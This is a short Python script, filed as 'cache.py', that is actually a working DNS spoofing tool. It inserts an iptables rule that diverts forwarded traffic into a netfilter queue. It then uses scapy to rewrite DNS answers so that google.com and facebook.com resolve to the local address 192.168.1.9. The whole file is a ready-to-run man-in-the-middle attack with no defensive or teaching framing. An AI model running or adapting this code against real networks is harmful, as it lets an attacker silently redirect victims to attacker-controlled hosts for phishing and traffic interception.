cache.py

import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue


class DnsSnoof:
	def __init__(self, hostDict, queueNum):
		self.hostDict = hostDict
		self.queueNum = queueNum
		self.queue = NetfilterQueue()

	def __call__(self):
		log.info("Snoofing....")
		os.system(
			f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
		self.queue.bind(self.queueNum, self.callBack)
		try:
			self.queue.run()
		except KeyboardInterrupt:
			os.system(
				f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
			log.info("[!] iptable rule flushed")

	def callBack(self, packet):
		scapyPacket = IP(packet.get_payload())
		if scapyPacket.haslayer(DNSRR):
			try:
				log.info(f'[original] { scapyPacket[DNSRR].summary()}')
				queryName = scapyPacket[DNSQR].qname
				if queryName in self.hostDict:
					scapyPacket[DNS].an = DNSRR(
						rrname=queryName, rdata=self.hostDict[queryName])
					scapyPacket[DNS].ancount = 1
					del scapyPacket[IP].len
					del scapyPacket[IP].chksum
					del scapyPacket[UDP].len
					del scapyPacket[UDP].chksum
					log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
				else:
					log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
			except IndexError as error:
				log.error(error)
			packet.set_payload(bytes(scapyPacket))
		return packet.accept()


if __name__ == '__main__':
	try:
		hostDict = {
			b"google.com.": "192.168.1.9",
			b"facebook.com.": "192.168.1.9"
		}
		queueNum = 1
		log.basicConfig(format='%(asctime)s - %(message)s',
						level = log.INFO)
		snoof = DnsSnoof(hostDict, queueNum)
		snoof()
	except OSError as error:
		log.error(error)